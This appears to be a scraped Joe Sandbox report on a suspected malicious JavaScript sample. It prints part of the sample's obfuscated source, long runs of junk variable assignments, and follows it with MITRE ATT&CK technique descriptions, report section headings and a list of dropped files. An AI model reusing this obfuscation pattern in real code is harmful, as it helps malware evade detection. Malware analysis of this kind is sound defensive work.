1293	iuyiulo = "r";
1294	iuyiulo = "b";
1295	iuyiulo = "k";
1296	iuyiulo = "B";
1297	iuyiulo = "X";
1298	iuyiulo = "a";
1299	iuyiulo = "q";
1300	iuyiulo = "y";
1301	iuyiulo = "r";
1302	iuyiulo = "i";
1303	iuyiulo = "a";
1304	iuyiulo = "P";
1305	iuyiulo = "M";
1306	iuyiulo = "n";
1307	iuyiulo = "W";
1308	iuyiulo = "g";
1309	iuyiulo = "I";
1310	iuyiulo = "o";
1311	zpxhtj = "f";
1312	zpxhtj = "u";
1313	zpxhtj = "y";
1314	zpxhtj = "m";
1315	zpxhtj = "W";
1316	zpxhtj = "A";
1317	zpxhtj = "g";
1318	zpxhtj = "h";
1319	zpxhtj = "M";
1320	zpxhtj = "e";
1321	zpxhtj = "Q";
1322	zpxhtj = "Q";
1323	zpxhtj = "o";
1324	zpxhtj = "M";
1325	zpxhtj = "N";
1326	zpxhtj = "n";
1327	zpxhtj = "p";
1328	zpxhtj = "a";
1329	zpxhtj = "S";
1330	zpxhtj = "t";
1331	zpxhtj = "B";
1332	zpxhtj = "Z";
1333	zpxhtj = "i";
1334	zpxhtj = "s";
1335	zpxhtj = "J";
1336	zpxhtj = "S";
1337	zpxhtj = "a";
1338	zpxhtj = "Z";
1339	zpxhtj = "d";
1340	zpxhtj = "l";
1341	zpxhtj = "k";
1342	zpxhtj = "k";
1343	lfcytv = "M";
1344	lfcytv = "z";
1345	lfcytv = "c";
1346	lfcytv = "Q";
1347	lfcytv = "k";
1348	lfcytv = "f";
1349	lfcytv = "O";
1350	lfcytv = "n";
1351	lfcytv = "T";
1352	lfcytv = "Y";
1353	lfcytv = "K";
1354	lfcytv = "z";
1355	lfcytv = "d";
1356	lfcytv = "U";
1357	lfcytv = "W";
1358	lfcytv = "o";
1359	lfcytv = "l";
1360	lfcytv = "z";
1361	lfcytv = "c";
1362	lfcytv = "t";
1363	lfcytv = "N";
1364	lfcytv = "i";
1365	lfcytv = "M";
1366	lfcytv = "f";
1367	lfcytv = "c";
1368	lfcytv = "f";
1369	lfcytv = "h";
1370	lfcytv = "Q";
1371	lfcytv = "h";
1372	lfcytv = "3";
1373	zaiuetb = "C";
1374	zaiuetb = "s";
1375	zaiuetb = "k";
1376	zaiuetb = "m";
1377	zaiuetb = "v";
1378	zaiuetb = "B";
1379	zaiuetb = "e";
1380	zaiuetb = "i";
1381	zaiuetb = "p";
1382	zaiuetb = "o";
1383	zaiuetb = "L";
1384	zaiuetb = "x";
1385	zaiuetb = "B";
1386	zaiuetb = "d";
1387	zaiuetb = "A";
1388	zaiuetb = "M";
1389	zaiuetb = "g";
1390	zaiuetb = "R";
1391	zaiuetb = "Z";
1392	zaiuetb = "p";
1393	zaiuetb = "c";
1394	zaiuetb = "z";
1395	zaiuetb = "V";
1396	zaiuetb = "J";
1397	zaiuetb = "f";
1398	zaiuetb = "N";
1399	zaiuetb = "Y";
1400	zaiuetb = "k";
1401	zaiuetb = "W";
1402	zaiuetb = "A";
1403	zaiuetb = "I";
1404	zaiuetb = "n";
1405	zaiuetb = "F";
1406	zaiuetb = "K";
1407	szlpt = "D";
1408	szlpt = "k";
1409	szlpt = "b";
1410	szlpt = "L";
1411	szlpt = "z";
1412	szlpt = "o";
1413	szlpt = "K";
1414	szlpt = "X";
1415	szlpt = "H";
1416	szlpt = "o";
1417	szlpt = "k";
1418	szlpt = "S";
1419	szlpt = "x";
1420	szlpt = "t";
1421	szlpt = "r";
1422	szlpt = "H";
1423	szlpt = "a";
1424	szlpt = "c";
1425	szlpt = "V";
1426	szlpt = "P";
1427	yuydhe = "j";
1428	yuydhe = "C";
1429	yuydhe = "h";
1430	yuydhe = "u";
1431	yuydhe = "h";
1432	zejyml = "y";
1433	zejyml = "d";
1434	zejyml = "e";
1435	zejyml = "I";
1436	zejyml = "E";
1437	zejyml = "B";
1438	zejyml = "j";
1439	zejyml = "X";
1440	zejyml = "Q";
1441	zejyml = "y";
1442	zejyml = "U";
1443	zejyml = "p";
1444	zejyml = "W";
1445	nxzmqq = "Z";
1446	nxzmqq = "R";
1447	nxzmqq = "a";
1448	nxzmqq = "n";
1449	nxzmqq = "E";
1450	nxzmqq = "Y";
1451	nxzmqq = "t";
1452	nxzmqq = "z";
1453	nxzmqq = "s";
1454	nxzmqq = "W";
1455	nxzmqq = "P";
1456	nxzmqq = "x";
1457	nxzmqq = "a";
1458	nxzmqq = "c";
1459	nxzmqq = "z";
1460	nxzmqq = "r";
1461	nxzmqq = "Y";
1462	nxzmqq = "a";
1463	nxzmqq = "X";
1464	nxzmqq = "C";
1465	nxzmqq = "M";
1466	nxzmqq = "n";
1467	nxzmqq = "t";
1468	nxzmqq = "I";
1469	nxzmqq = "u";
1470	nxzmqq = "i";
1471	nxzmqq = "s";
1472	nxzmqq = "n";
1473	nxzmqq = "o";
1474	nxzmqq = "f";
1475	rxjhuyiak = "j";
1476	rxjhuyiak = "D";
1477	rxjhuyiak = "Z";
1478	rxjhuyiak = "e";
1479	rxjhuyiak = "l";
1480	rxjhuyiak = "e";
1481	rxjhuyiak = "U";
1482	rxjhuyiak = "k";
1483	rxjhuyiak = "z";
1484	rxjhuyiak = "X";
1485	rxjhuyiak = "r";
1486	rxjhuyiak = "e";
1487	rxjhuyiak = "d";
1488	rxjhuyiak = "H";
1489	rxjhuyiak = "K";
1490	rxjhuyiak = "t";
1491	rxjhuyiak = "w";
1492	rxjhuyiak = "p";
1493	rxjhuyiak = "e";
1494	rxjhuyiak = "n";
1495	rxjhuyiak = "r";
1496	rxjhuyiak = "D";
1497	rxjhuyiak = "W";
1498	rxjhuyiak = "H";
1499	rbxqt ( );	rbxqt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1907125702104121563.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eac14860-8820-4160-a516-58c4e43243cf.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8012

Windows Analysis Report
1907125702104121563.js